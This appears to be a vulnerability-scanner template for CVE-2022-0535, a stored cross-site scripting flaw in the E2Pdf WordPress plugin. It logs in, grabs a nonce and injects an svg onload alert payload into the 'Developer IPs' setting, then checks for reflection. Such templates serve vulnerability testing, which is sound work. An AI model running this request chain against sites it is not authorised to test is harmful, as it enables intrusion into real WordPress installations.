60 lines
2.3 KiB
YAML
60 lines
2.3 KiB
YAML
|
id: CVE-2022-0535
|
||
|
|
||
|
info:
|
||
|
name: E2Pdf - Authenticated Stored Cross-Site Scripting (XSS)
|
||
|
author: theamanrawat
|
||
|
severity: medium
|
||
|
description: |
|
||
|
The E2Pdf WordPress plugin before 1.16.45 does not sanitise and escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.
|
||
|
reference:
|
||
|
- https://wpscan.com/vulnerability/a4162e96-a3c5-4f38-a60b-aa3ed9508985
|
||
|
- https://wordpress.org/plugins/e2pdf/
|
||
|
- https://mikadmin.fr/tech/XSS-Stored-E2Pdf-798ef69b0e13c36acf5446358d57c965Dx90666bNvCw98.pdf
|
||
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0535
|
||
|
classification:
|
||
|
cve-id: CVE-2022-0535
|
||
|
metadata:
|
||
|
verified: true
|
||
|
tags: cve,cve2022,wordpress,wp-plugin,wp,xss,authenticated,e2pdf
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /wp-login.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
||
|
|
||
|
- |
|
||
|
GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
- |
|
||
|
POST /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
_nonce={{nonce}}&e2pdf_user_email=&e2pdf_api=api.e2pdf.com&e2pdf_connection_timeout=300&e2pdf_processor=0&e2pdf_dev_update=0&e2pdf_url_format=siteurl&e2pdf_mod_rewrite=0&e2pdf_mod_rewrite_url=e2pdf%2F%25uid%25%2F&e2pdf_cache=0&e2pdf_cache=1&e2pdf_cache_fonts=0&e2pdf_cache_fonts=1&e2pdf_debug=0&e2pdf_hide_warnings=0&e2pdf_images_remote_request=0&e2pdf_images_timeout=30&e2pdf_revisions_limit=3&e2pdf_memory_time=0&e2pdf_developer=0&e2pdf_developer_ips=%3C%2Ftextarea%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&submit=Save+Changes
|
||
|
|
||
|
- |
|
||
|
GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
req-condition: true
|
||
|
cookie-reuse: true
|
||
|
matchers:
|
||
|
- type: dsl
|
||
|
dsl:
|
||
|
- contains(all_headers_4, "text/html")
|
||
|
- status_code_4 == 200
|
||
|
- contains(body_4, 'placeholder=\"Developer IPs\" ></textarea><svg/onload=alert(document.domain)>')
|
||
|
|
||
|
condition: and
|
||
|
|
||
|
extractors:
|
||
|
- type: regex
|
||
|
name: nonce
|
||
|
group: 1
|
||
|
regex:
|
||
|
- 'name="_nonce" value="([0-9a-zA-Z]+)"'
|
||
|
internal: true
|